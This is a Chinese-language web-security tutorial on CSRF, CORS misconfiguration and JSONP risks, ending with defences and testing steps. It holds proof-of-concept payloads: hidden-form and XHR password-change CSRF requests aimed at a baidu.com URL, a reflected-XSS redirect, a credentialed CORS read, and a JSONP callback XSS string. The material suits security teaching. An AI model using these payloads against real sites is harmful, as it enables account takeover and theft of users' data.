珂技系列之一篇就够了——CSRF-CORS-JSONP
字数 1723 2025-08-14 12:04:14

CSRF、CORS与JSONP安全机制详解

一、CSRF(跨站请求伪造)

1. CSRF本质与原理

CSRF(Cross-Site Request Forgery)是一种利用用户已登录状态,通过伪造用户请求执行非预期操作的攻击方式。

核心原理

  • 用户已登录目标网站并保持会话
  • 攻击者诱导用户访问恶意页面
  • 恶意页面自动向目标网站发送请求
  • 浏览器自动携带用户的cookie完成认证
  • 目标网站误认为是用户合法操作

2. CSRF攻击场景

常见攻击目标:

  • 修改密码功能
  • 发布/删除内容
  • 点赞/关注操作
  • 新增管理员账户
  • 转账等金融操作

3. CSRF防御方法

有效防御措施

  1. 关键操作要求输入原密码
  2. 敏感操作增加图形验证码
  3. 使用CSRF Token(随机不可预测值)
  4. 将认证信息放入HTTP头部而非cookie
  5. 检查Referer头部(不完全可靠)

4. CSRF攻击类型与利用方式

GET型CSRF

<!-- 隐蔽的GET请求 -->


<!-- 触发反射XSS的GET请求 -->
<script>
window.location.href="https://www.baidu.com/changepwd.php?password=<video src onerror=alert(1)>"
</script>

POST型CSRF

<!-- 基础表单提交 -->
<form action="http://baidu.com/changepwd.php" method="POST">
  <input type="hidden" name="password" value="123456" />
</form>
<script>document.forms[0].submit();</script>

<!-- 使用XMLHttpRequest(更隐蔽) -->
<script>
function csrf() {
  var xhr = new XMLHttpRequest();
  payload = "password=123456";
  xhr.open("POST","http://baidu.com/changepwd.php", true);
  xhr.withCredentials = true;
  xhr.send(payload);
}
</script>

<!-- 使用jQuery简化 -->
<script src="https://www.w3school.com.cn/jquery/jquery-1.11.1.min.js"></script>
<script>
$.ajax({
  type:"POST",
  url:"http://baidu.com/changepwd.php",
  data:"password=123456"
});
</script>

二、CORS(跨域资源共享)

1. CORS基本原理

CORS是现代Web应用中解决跨域问题的机制,依赖于HTTP头部协商。

关键头部

  • Origin: 请求来源域
  • Access-Control-Request-Headers: 预检请求中声明实际请求将携带的头部
  • Access-Control-Request-Method: 预检请求中声明实际请求将使用的方法
  • Access-Control-Allow-Origin: 服务器允许的源
  • Access-Control-Allow-Headers: 服务器允许的头部
  • Access-Control-Allow-Methods: 服务器允许的方法
  • Access-Control-Allow-Credentials: 是否允许携带凭证(如cookie)

2. CORS配置模式

1) 动态反射Origin(最危险)

header('Access-Control-Allow-Origin:'.$_SERVER["HTTP_ORIGIN"]);

2) 通配符允许所有域(中等风险)

header('Access-Control-Allow-Origin: *');

3) 白名单指定域(最安全)

header('Access-Control-Allow-Origin: http://luoke.cn:81');

3. CORS攻击场景

攻击条件

  1. 服务器配置不当(如反射Origin或通配符)
  2. 接口返回敏感信息
  3. 攻击者能诱导用户访问恶意页面

示例攻击代码

<script>
function cors() {
  var xhr = new XMLHttpRequest();
  payload = '{"id":"1"}';
  xhr.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      alert(this.responseText);
    }
  };
  xhr.open("POST","http://luoke.cn:81/json.php", true);
  xhr.setRequestHeader("Content-type","application/json; charset=utf-8");
  xhr.send(payload);
}
</script>

4. CORS安全实践

安全配置建议

  1. 严格限制Access-Control-Allow-Origin为可信域
  2. 避免反射Origin头部
  3. 限制允许的HTTP方法和头部
  4. 敏感操作需要额外验证(如CSRF Token)
  5. 避免Access-Control-Allow-Credentials: true与通配符Origin同时使用

三、JSONP安全机制

1. JSONP原理

JSONP是利用<script>标签不受同源策略限制的特性实现的跨域通信方案。

典型实现

<script>
function jsonpCallback(json) {
  alert(JSON.stringify(json));
}
</script>
<script src="http://api.example.com/data?callback=jsonpCallback"></script>

2. JSONP安全风险

主要漏洞

  1. 敏感信息泄露(通过callback返回)
  2. XSS漏洞(callback参数未过滤)
  3. CSRF攻击(自动携带cookie)

XSS示例

http://api.example.com/data?callback=<script>alert(1)</script>

3. JSONP安全防护

防护措施

  1. 严格过滤callback参数(仅允许字母数字)
  2. 设置Content-Type为application/javascript
  3. 限制返回数据的敏感性
  4. 添加CSRF Token验证

四、综合安全建议

  1. 关键操作多重验证:密码修改等敏感操作应结合CSRF Token、原密码验证和图形验证码
  2. CORS严格配置:避免反射Origin,使用精确白名单而非通配符
  3. JSONP谨慎使用:现代应用建议使用CORS替代JSONP
  4. 防御深度结合:结合SameSite Cookie、Referer检查等机制
  5. 定期安全审计:检查接口的跨域配置和敏感信息暴露

五、测试与验证方法

  1. CSRF测试

    • 检查关键操作是否可被伪造
    • 验证CSRF防护机制是否存在
  2. CORS测试

    • 修改Origin头部观察响应
    • 检查预检请求(OPTIONS)的响应
    • 尝试绕过白名单(子域、相似域名等)
  3. JSONP测试

    • 查找callback参数
    • 测试XSS注入可能性
    • 检查返回数据敏感性

通过全面理解这些机制及其安全风险,开发者可以构建更安全的Web应用,有效防御各类跨域攻击。

CSRF、CORS与JSONP安全机制详解 一、CSRF(跨站请求伪造) 1. CSRF本质与原理 CSRF(Cross-Site Request Forgery)是一种利用用户已登录状态,通过伪造用户请求执行非预期操作的攻击方式。 核心原理 : 用户已登录目标网站并保持会话 攻击者诱导用户访问恶意页面 恶意页面自动向目标网站发送请求 浏览器自动携带用户的cookie完成认证 目标网站误认为是用户合法操作 2. CSRF攻击场景 常见攻击目标: 修改密码功能 发布/删除内容 点赞/关注操作 新增管理员账户 转账等金融操作 3. CSRF防御方法 有效防御措施 : 关键操作要求输入原密码 敏感操作增加图形验证码 使用CSRF Token(随机不可预测值) 将认证信息放入HTTP头部而非cookie 检查Referer头部(不完全可靠) 4. CSRF攻击类型与利用方式 GET型CSRF POST型CSRF 二、CORS(跨域资源共享) 1. CORS基本原理 CORS是现代Web应用中解决跨域问题的机制,依赖于HTTP头部协商。 关键头部 : Origin : 请求来源域 Access-Control-Request-Headers : 预检请求中声明实际请求将携带的头部 Access-Control-Request-Method : 预检请求中声明实际请求将使用的方法 Access-Control-Allow-Origin : 服务器允许的源 Access-Control-Allow-Headers : 服务器允许的头部 Access-Control-Allow-Methods : 服务器允许的方法 Access-Control-Allow-Credentials : 是否允许携带凭证(如cookie) 2. CORS配置模式 1) 动态反射Origin(最危险) 2) 通配符允许所有域(中等风险) 3) 白名单指定域(最安全) 3. CORS攻击场景 攻击条件 : 服务器配置不当(如反射Origin或通配符) 接口返回敏感信息 攻击者能诱导用户访问恶意页面 示例攻击代码 : 4. CORS安全实践 安全配置建议 : 严格限制 Access-Control-Allow-Origin 为可信域 避免反射Origin头部 限制允许的HTTP方法和头部 敏感操作需要额外验证(如CSRF Token) 避免 Access-Control-Allow-Credentials: true 与通配符Origin同时使用 三、JSONP安全机制 1. JSONP原理 JSONP是利用 <script> 标签不受同源策略限制的特性实现的跨域通信方案。 典型实现 : 2. JSONP安全风险 主要漏洞 : 敏感信息泄露(通过callback返回) XSS漏洞(callback参数未过滤) CSRF攻击(自动携带cookie) XSS示例 : 3. JSONP安全防护 防护措施 : 严格过滤callback参数(仅允许字母数字) 设置Content-Type为 application/javascript 限制返回数据的敏感性 添加CSRF Token验证 四、综合安全建议 关键操作多重验证 :密码修改等敏感操作应结合CSRF Token、原密码验证和图形验证码 CORS严格配置 :避免反射Origin,使用精确白名单而非通配符 JSONP谨慎使用 :现代应用建议使用CORS替代JSONP 防御深度结合 :结合SameSite Cookie、Referer检查等机制 定期安全审计 :检查接口的跨域配置和敏感信息暴露 五、测试与验证方法 CSRF测试 : 检查关键操作是否可被伪造 验证CSRF防护机制是否存在 CORS测试 : 修改Origin头部观察响应 检查预检请求(OPTIONS)的响应 尝试绕过白名单(子域、相似域名等) JSONP测试 : 查找callback参数 测试XSS注入可能性 检查返回数据敏感性 通过全面理解这些机制及其安全风险,开发者可以构建更安全的Web应用,有效防御各类跨域攻击。